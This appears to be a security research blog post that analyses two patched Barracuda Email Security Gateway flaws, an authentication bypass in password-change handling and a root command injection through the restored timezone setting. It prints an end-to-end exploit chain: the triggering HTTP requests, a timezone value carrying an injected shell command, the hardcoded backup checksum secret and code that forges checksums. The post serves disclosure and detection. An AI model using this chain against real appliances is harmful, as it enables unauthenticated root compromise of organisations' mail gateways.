This research is a glimpse into the capability powering the watchTowr Platform, a Preemptive Exposure Management solution. We enable organizations to autonomously validate and mitigate their exposure to emerging threats, ahead of in-the-wild exploitation.
Yes, that's right! Today we're at the aquarium.
Welcome back to yet another watchTowr Labs blog post. You can begin preparing your comments now.
0:00
/0:20

Barracuda’s Email Security Gateway solution (ESG) is no stranger to love, for a couple of reasons:
Whoever you are, one thing will be consistent in your experience: it is yet another appliance that lives at the edge, inspects everything, and runs with the exact and only privileges needed to block a mean email about your blog post.
As always, CVE IDs have a habit of being surprisingly catchy - and these two are no different, as we can see in Barracuda's own advisory and summarized below:
| CVE | Vulnerability | CVSS | Affected Products | Fixed In |
|---|---|---|---|---|
| CVE-2026-116606 | Pre-Authentication Authorization Bypass (Editor: lol?) | 9.3 Critical | Barracuda ESG | 9.4.0.029 |
| CVE-2026-111560 | OS Command Injection | 8.6 High | ESG, Load Balancer ADC, Message Archiver, WAF Control Center, Web Application Firewall, Web Security Gateway | 9.4.0.029 |
In isolation, you could be fairly British and describe either as "not ideal." But things get worse - if chained, and you were British, you’d describe them as “okay.” Scathing.
It hopefully comes as no surprise then that these vulnerabilities are the focus for today's watchTowr Labs blog post - so let’s grab a coffee and go on a walk.
To fuel today's analysis, we set up appliances and compared two versions using our normal "what the hell has changed" process:
For context, before we walk through this blog post, it's important to note that Barracuda released several patch files to address CVE-2026-111560 and CVE-2026-116606. However, we reviewed two specifically, which were referred to as follows:

There is truly nothing that warms us more than a flashback to the physical exorcism of a rack-mounted server because of a vulnerability (yes, we know there is more to the story).
This is the question that we sat down and asked ourselves. Luckily, we didn't have to wait long.
Reviewing Patch-1, the installer was at least descriptive about its purpose:
..snip..
# Pre-authentication authorization bypass permits
# arbitrary Spam_Config restore
# CVSS 9.8 Critical
As an aside for those of you who are eagle-eyed, you'll see that the CVSS score for this vulnerability here is 9.8, versus 9.3 in Barracuda’s advisory. Our best guess is that 9.8 reflects both vulnerabilities being scored together (which CVSS experts will quickly recognize as a crime), rather than anything untoward occurring here.

Diving into the files changed inside this patch, we quickly have a list of suspects:
The changes from Index.pm are curious, but thankfully minimal.
Barracuda, to their credit, included this opaquely described hint as to what the issue might be:
+ # Send the error and stop here. Returning a userrole
+ # would let response() run module handlers.
That comment is reflected in the whole patch:
if ($password_change_status ==
$Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
- $params->{json_authenticate} = {
+ $self->audit("failed_password_change", $params->{user});
+ # Send the error and stop here. Returning a userrole
+ # would let response() run module handlers.
+ return $self->_bailout_with_json_login_response(
+ $env, $params, {
success => 'true',
message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}
. ": " . $message,
status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
- };
- return $userrole;
+ });
}
So Index.pm handles password-change attempts, but the trouble starts in the pre-patch code when a password change attempt fails (with ERROR_PASSWD_CHANGE).
Below is the entire vulnerable function, with the original line numbers from Index.pm:
383: if(defined($params->{new_password}) && defined($params->{retype_password}) && ! (-e "/tmp/bypass_password")){
384: my $password_change_status=0;
385: my $message = "";
386: ($password_change_status, $message,$user) = Login::change_admin_password($params);
387: if($password_change_status == 1 && $user){
388: # Dont allow logoff unless the request is from an authenticated logged in user
389: my $url = "/cgi-mod/index.cgi" . uri_hash_to_querystring({
390: locale => $MS_globals::params{locale},
391: error => $status
392: });
393: my %redir = (-location=>$url);
394: $self->audit('password_change', $params->{user});
395: Login::logoff_user($status, 1, $params->{user});
396: return bailout();
397: }
398: else{
399: if ($password_change_status == $Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
400: $params->{json_authenticate} = {
401: success => 'true',
402: message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}.": ". $message,
403: status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
404: };
405: $self->audit("failed_password_change", $params->{user});
406: return $userrole;
407: }
While the pre-patch code returns a verbose JSON block indicating a failed password change attempt, it doesn’t actually stop execution.
Let’s break this down:
return bailout(); on line 396, and bailout() is the “we are done, stop the request here” signal.ERROR_PASSWD_CHANGE (line 399), it finishes with return $userrole; on line 406 instead.The next logical question is “what is $userrole?” $userrole is “just” the current session’s role object, which for our unauthenticated request is the low-privilege login-screen role.
Why does that matter? Well, the password-change code above lives inside _process_params, and the method that calls it is response:
584: sub response {
585: my ($self, $env, $params) = @_;
586:
587: $self->set_self_url($env, $params);
588:
589: # If we are not activated, this removes various changes the user may
590: # have tried to make from the params hash.
591: $self->_check_activation($env, $params);
592:
593: $self->_process_params($env, $params);
594:
595: $self->_update_variables($env, $params);
596:
597: Barracuda::Hooks::run_hooks("after write config");
_process_params returns on line 593 and hands our $userrole straight back to response - a return occurs with no error indicated, and the function continues as it was.
To reproduce this behavior, we send a POST request to /cgi-mod/index.cgi (the endpoint that eventually reaches this code path) with two parameters in the body:
new_passwordretype_passwordPOST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
user=admin&new_password=one&retype_password=two
The appliance answers with HTTP 200 and a JSON body that declares the failed password change:
{"message":"Error: Password Change: ","no_ajax_redirect":"true","redirect":"/cgi-mod/password_change.cgi?auth_type=Local&locale=en_US&user=admin&error=Error: Password Change: ","success":"true"}
“But wait,” you ask, “surely a rejected auth operation stops anything further privileged from happening? What is the use of a login-screen role?”
Stop calling us Shirley.
All we need now is something worth bolting on beside it, which is where the next weakness comes in.
While we have strange behavior in the password change mechanism that Barracuda describes as a Pre-Authentication Authorization Bypass, we still need to determine what we can actually do about it.
Analyzing what we've effectively termed “Patch-2”, we were once again presented with complete Perl source code, making our lives a little simpler.
Two files stood out as interesting within this patch:


After brief analysis, the only seemingly meaningful change in Backup2.pm was made to this pre-patch code block:
if( -f "/home/product/code/config/tz" ) {
my $system_timezone = Barracuda::Config::get('system_timezone');
`sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
}
We get a clearer clue about the issue by looking at what changes when we redirect our gaze to the patched version. Effectively, Barracuda has swapped out the shell command execution with.. a safer approach:
if( -f "/home/product/code/config/tz" ) {
my $system_timezone = Barracuda::Config::get('system_timezone');
- `sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
+ if ($system_timezone && -f "/usr/share/zoneinfo/$system_timezone") {
+ open my $in, '<', '/home/product/code/config/tz' or die $!;
+ my @lines = <$in>;
+ close $in;
+ open my $out, '>', '/home/product/code/config/tz' or die $!;
+ for my $line (@lines) {
+ $line =~ s/^TZ=.*/TZ=$system_timezone/ if $line =~ /^TZ=/;
+ print $out $line;
+ }
+ close $out;
+ } else {
+ warn "Skipping tz restore: invalid system_timezone='$system_timezone'\n";
+ }
}
To summarize, this gives us three primary things:
system_timezone as untrusted enough to demand it resolve to a real file under /usr/share/zoneinfo/ before use.A value shaped like this rewrites the shell grammar:
Region#';<attacker-command>;#
The first quote closes the intended sed expression, the semicolon starts a fresh command, and # comments out the rest.
finalize_restore) about how we might be able to exploit this vulnerability. finalize_restore.The second file highlighted by our patch diff is fix_tz.pl, which tells a similar story about command injection, specifically related to time zone setting.
my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;
`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;
Actually, that's where the patch adds a gate:
my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;
+if (! -f "/usr/share/zoneinfo/$system_timezone") {
+ warn "Invalid timezone: $system_timezone\n";
+ exit 1;
+}
And removes the shell-backed update in favor of the same read, rewrite, write Perl pattern:
-`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;
+if (-f '/etc/sysconfig/clock') {
+ open my $in, '<', '/etc/sysconfig/clock' or die $!;
+ my @lines = <$in>;
+ close $in;
+ open my $out, '>', '/etc/sysconfig/clock' or die $!;
+ for my $line (@lines) {
+ $line =~ s/^ZONE=.*/ZONE=$system_timezone/ if $line =~ /^ZONE=/;
+ print $out $line;
+ }
+ close $out;
+}
TL;DR, we're dealing with two sinks: one in Backup2.pm and the other in fix_tz.pl.
Effectively, Backup2::finalize_restore writes the product timezone file and fix_tz.pl writes to the operating-system clock file - and the same seemingly attacker-controlled and manipulable input reaches both.
“A limited-privilege user can't write this file” - true, but we’re discussing security appliances. It’s different - which is exactly why the code above uses sudo to execute the fix_tz.pl file.
if( -f "/home/product/code/firmware/current/bin/fix_tz.pl" ) {
system('/usr/bin/sudo',
'/home/product/code/firmware/current/bin/fix_tz.pl');
}
This is not just any old OS Command Injection vulnerability, but one that executes as root.
To trigger this vulnerability, we looked for places that would allow us to reach this vulnerable code naturally. One place stood out: an upload handler named bayesian_upload.pm.
Here’s the upload handler file named bayesian_upload.pm:
53: bc_sub bayesian_upload_handler =>
54: perm { 1 },
55: web_params( [param('user'), param('bayesian'), param('pu_bayesian_upload')]),
56: does {
57: my $args = shift;
58: return if(!defined($args->{'bayesian'}) || $ENV{REMOTE_USER} eq 'guest');
59:
60: my $lock;
61: my $error = '';
62: my $filename = $Barracuda::BackupConfig::StagingJob::BACKUP_FILE;
63:
64: try {
65: $lock = Barracuda::Backup2::_grab_lock();
66:
67: my $uploader = $args->{bayesian};
68: if ($uploader->to_file( { dest => $filename } )) {
69: throw Barracuda::Exception;
70: }
71: }
72: catch Barracuda::Backup2::Lock_Error with {
73: $error = 'lid_2876';
74: }
75: catch Error with {
76: $error = 'lid_379';
77: }
78: finally {
79: $lock && $lock->punlock();
80: if ($error) {
81: push(@Barracuda::UI::status_message,
82: {
83: message => $error,
84: type => 'error'
85: }
86: );
87: return;
88: }
89: };
90:
91: my %params;
92: $params{full_reload} = 0;
93: my $ret = 0;
94: try {
95: $ret = Barracuda::Backup2::restore_all($filename, %params);
96: } catch Error with {
As you can see, this function is fairly simple. It expects a few parameters, and if they are as expected, we can reach line 95, where the restore all function executes on a backup file the user provides.
Now, life is never that simple, and our first question was: "Okay, so what does a backup file actually look like?”
Now in this case, luckily, a backup is a tar file that contains a backup.xml file that lists various details. Here is an example shape of one we built:
<backup>
<component name="Spam_Config">
<file id="mysql" checksum="[generated integrity value]" path="mysql-poc.gz" />
</component>
<info filename="poc.bak" firmware_version="9.4.0.020"
model="V300" platform="5" product="emailswitch" type="manual_backup">
<component_version name="Config" number="1" />
<component_version name="Files" number="1" />
<component_version name="Spam_Config" number="1" />
<component_version name="mysql" number="1" />
</info>
</backup>
You may recognize Spam_Config from within an earlier patch comment. That's our clue and it exists as part of a backup.xml file.
When the appliance restores Spam_Config, it loads a small MySQL dump and restores defined information back into the local MySQL database.
As luck would have it, one of those rows is system_timezone. Do you see where this is going?
What if we restore the value of the system_timezone row with a shell command stuck on the end:
UTC#';touch /tmp/watchTowr;#
But let's not jump ahead - we haven't actually built a valid backup file yet.
As we discussed, the backup is restored by a function called restore_all. This function unpacks the archive, reads the list of parts, and restores each one:
444: sub restore_all {
445: my $bundle_filename = shift;
446: my %args = @_;
447: if (not exists($args{full_reload})) {
448: $args{full_reload} = 1;
449: }
450: change_directory("/mail/tmp");
451: my $pl = _grab_lock();
452: log_message("Starting restore opertation...");
453: my $poke_progress = sub { };
454: if ($args{progress_cb}) {
455: if (ref($args{progress_cb}) ne 'CODE') {
456: croak('progress_cb must be a CODE reference.');
457: }
458: $args{progress_cb}->(0);
459: }
460: my $dir;
461: if (Barracuda::FrameworkConfig::framework_config('backup_compatibility_on')) {
462: require IPC::Run;
463: my ($out, $err);
464: eval {
465: IPC::Run::run(["$Barracuda::Environment::path_firmware/bin/file", '-b', $bundle_filename], \undef, \$out, \$err);
466: };
467: chomp($out);
468: if ($out && $out ne 'POSIX tar archive (GNU)') {
469: $dir = $TMP_DIR;
470: }
471: }
472: if ($dir) {
473: system('cp', '-f', $bundle_filename, $dir . '/Backup.bak');
474: } else {
475: log_message("Untaring bundle...");
476: $dir = untar_bundle($bundle_filename);
477: }
478: log_message("Reading the components to restore...");
479: my $data = read_staged_metadata($dir);
480: $poke_progress = _create_poke_progress($data, $args{progress_cb});
481: log_message("Restoring components...");
482: restore_components($data, $dir, \%args, $poke_progress);
483: # Reload & reboot
484: $pl->punlock();
485: log_message("Finalizing restore...");
486: finalize_restore(\%args);
487: return 1;
Seems simple then. We just throw some SQL query in an XML file, tar it, and then restore it.
But no, life punishes us.
Every file listed in backup.xml has a checksum, and the restore function validates said checksum with diligence… It reads the file's bytes, computes its own checksum, and rejects the backup if the checksums do not match. So our usual approach of just typing random numbers into these fields will not work here.
But there's still a funny part. That checksum is built as so:
The checksum is just md5(file_bytes + secret + ".").
Secret, you say? That must be a dynamically unique value that changes often or is somehow tied to the machine and not predictable.
We present the secret.
CHECKSUM_SECRET = b"Barracuda Networks is your new best friend"
But really the checksum is just md5(file_bytes + "Barracuda Networks is your new best friend" + ".").
As you can see below, this allows us to then determine the checksum ourselves:
47: mysql_dump = gzip.compress(sql, compresslevel=9, mtime=0)
48: checksum = hashlib.md5(mysql_dump + CHECKSUM_SECRET + b".").hexdigest()
49: timestamp = time.strftime("%Y%m%dT%H%M%S", time.gmtime())
50: backup_xml = f"""<?xml version='1.0' standalone='yes'?>
51: <backup>
52: <component name="Spam_Config">
53: <file id="mysql" checksum="{checksum}" path="mysql-poc.gz" />
While the proverb of "many word make many big long blog post" is accurate, unfortunately the HTTP request that combines both vulnerabilities discussed in today's blog post is actually fairly simple:
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: multipart/form-data; boundary=BOUNDARY
--BOUNDARY
Content-Disposition: form-data; name="user"
admin
--BOUNDARY
Content-Disposition: form-data; name="new_password"
one
--BOUNDARY
Content-Disposition: form-data; name="retype_password"
two
--BOUNDARY
Content-Disposition: form-data; name="UPDATE_activation_code"
1
--BOUNDARY
Content-Disposition: form-data; name="pu_bayesian_upload"
1
--BOUNDARY
Content-Disposition: form-data; name="bayesian"; filename="poc.bak"
Content-Type: application/octet-stream
<TAR BACKUP>
--BOUNDARY--
0:00
/0:20

As always, we are sharing our Detection Artefact Generator so you can determine your own susceptibility and inform remediation in your own environments.
It can be found on our GitHub here.
The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.
The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.